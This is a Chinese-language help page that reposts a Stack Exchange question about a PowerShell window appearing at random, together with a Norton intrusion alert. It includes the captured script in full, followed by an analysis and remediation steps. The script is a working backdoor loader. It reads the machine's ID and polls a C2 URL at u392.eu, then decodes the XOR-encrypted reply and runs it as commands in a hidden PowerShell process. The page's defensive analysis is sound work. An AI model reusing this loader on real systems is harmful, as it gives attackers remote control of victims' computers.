You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

随机运行的恶意PowerShell脚本分析与处置求助

问题概述

近期我的电脑会在随机时间弹出PowerShell窗口并立即关闭,随后Norton杀毒软件触发入侵防护警报,拦截了来自172.64.142.7的Trojan.Backdoor Activity 748攻击。已开启PowerShell会话记录并捕获到一段脚本,请求对该脚本进行详细分析,并提供对应的安全解决办法。

警报详情

  • 类别:入侵防护
  • 日期与时间:2023年9月9日 02:29:12
  • 风险等级:高
  • 活动内容:拦截了来自172.64.142.7的入侵尝试
  • 状态:已拦截
  • 建议操作:无需操作
  • IPS警报名称:系统感染:Trojan.Backdoor Activity 748
  • 默认操作:无需操作
  • 已执行操作:无需操作
  • 攻击计算机:172.64.142.7,80
  • 攻击者URL:http://u392.eu/api/v1/A524F999A3E9191FAE6BA5E3758DD2DC8AD4E10D75DE6E5A0C8E4749C8D4E695
  • 目标地址:<我的设备><我的IP>
  • 源地址:172.64.142.7
  • 流量描述:TCP,www-http
  • 流量说明:来自http://u392.eu/api/v1/A524F999A3E9191FAE6BA5E3758DD2DC8AD4E10D75DE6E5A0C8E4749C8D4E695的网络流量匹配已知攻击特征,攻击源于\DEVICE\HARDDISKVOLUME7\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE。

捕获的PowerShell脚本

**********************

Windows PowerShell 会话记录开始
开始时间: 20230909022349
用户名: \<myuser>
运行用户: \<myuser>
配置名称:
计算机: \<mymachine>(Microsoft Windows NT 10.0.19045.0)
宿主应用程序: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Version 5.1 -s -NoLogo -NoProfile
进程ID: 7128
PS版本: 5.1.19041.3031
PS版本类型: Desktop
PS兼容版本: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.3031
构建版本: 10.0.19041.3031
CLR版本: 4.0.30319.42000
WSMan栈版本: 3.0
PS远程协议版本: 2.3
序列化版本: 1.1.0.1

**********************

PS>[Security.Cryptography.SHA256]$sha = [Security.Cryptography.SHA256]::Create()
$macguid = (Get-ItemProperty ((([regex]::Matches('yhpargotpyrC\tfosorciM\ERAWTFOS:MLKH','.','RightToLeft') | ForEach {$_.value}) -join '')) -Name MachineGuid).MachineGUID;
$userid = "$($env:USERDOMAIN)$($env:USERNAME)$($env:PROCESSOR_REVISION)$($env:PROCESSOR_IDENTIFIER)$($env:PROCESSOR_LEVEL)$($env:NUMBER_OF_PROCESSORS)$($macguid)";
$guid = ($sha.ComputeHash([Text.Encoding]::UTF8.GetBytes($userid)) | ForEach-Object ToString X2) -join '';
while ($true) {
try {
$r = Invoke-RestMethod -Uri "http://u392.eu/api/v1/$($guid)"
if ($r -ne '') {
$buf = [Convert]::FromBase64String($r);
for ($i = 0; $i -lt $buf.Length; $i++) {
$buf[$i] = $buf[$i] -bxor 22;
}
$lines = [Text.Encoding]::ASCII.GetString($buf).Split("`r`n");
$p = [Diagnostics.Process]::new();
$p.StartInfo.WindowStyle = 'Hidden';
$p.StartInfo.FileName = 'powershell.exe';
$p.StartInfo.UseShellExecute = $false;
$p.StartInfo.RedirectStandardInput = $true;
$p.StartInfo.RedirectStandardOutput = $true;
$p.Start();
$p.BeginOutputReadLine();
foreach ($line in $lines) {
$p.StandardInput.WriteLine($line);  
}
$p.StandardInput.WriteLine('');  
$p.WaitForExit();
break;
}
}
catch {
}
Start-Sleep 2
}

PS>终止错误(Invoke-RestMethod): "基础连接已关闭: 发送时发生意外错误。" (直到我在任务管理器终止PowerShell,它才会停止弹出这个错误)

脚本详细分析

这段脚本是典型的后门程序,核心功能是连接远程命令与控制(C2)服务器,接收并执行恶意指令,具体拆解如下:

  1. 生成设备唯一标识

    • 创建SHA256哈希对象,用于生成设备专属ID
    • 通过反向字符串'yhpargotpyrC\tfosorciM\ERAWTFOS:MLKH'得到注册表路径HKLM:SOFTWARE\Microsoft\Cryptography,读取其中的MachineGuid(设备唯一GUID)
    • 拼接用户域、用户名、处理器硬件信息(版本、标识符、等级、核心数)和MachineGuid成字符串,再通过SHA256哈希转换为大写十六进制字符串,作为C2服务器识别该设备的唯一标记
  2. 循环请求C2服务器

    • 进入无限循环,每2秒尝试一次请求C2服务器地址http://u392.eu/api/v1/$guid
    • 若获取到非空响应,先对内容进行Base64解码,再通过字节异或22的方式解密,将解密后的字节转换为ASCII字符串并按行分割
    • 启动一个隐藏的PowerShell进程,将解密后的每行指令输入到该进程中执行,执行完成后退出循环
  3. 错误处理机制

    • 捕获请求过程中的异常但不做任何处理,继续循环请求,直到成功接收并执行指令,或被手动终止进程

安全解决办法

  1. 终止可疑进程:打开任务管理器,找到未授权启动的powershell.exe进程,直接结束
  2. 全盘病毒扫描:使用Norton或其他可信杀毒软件进行全盘扫描,清除系统中残留的恶意程序和文件
  3. 阻断恶意通信:
    • 在系统hosts文件(路径:C:\Windows\System32\drivers\etc\hosts)中添加一行:127.0.0.1 u392.eu,阻止域名解析
    • 在Windows防火墙中添加出站规则,禁止访问IP地址172.64.142.7
  4. 检查启动项:通过任务管理器的「启动」标签或msconfig工具,移除任何可疑的PowerShell相关启动项
  5. 更新系统与防护软件:确保Windows系统安装最新安全补丁,Norton病毒库更新至最新版本,修复已知漏洞
  6. 修改敏感密码:更改本地管理员账号密码,以及所有关联的在线账号密码,防止攻击者进一步利用
  7. 监控系统活动:开启PowerShell日志和系统事件日志,持续监控异常进程创建、网络请求等行为

内容的提问来源于stack exchange,提问作者Lotnx

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.11 04:05:06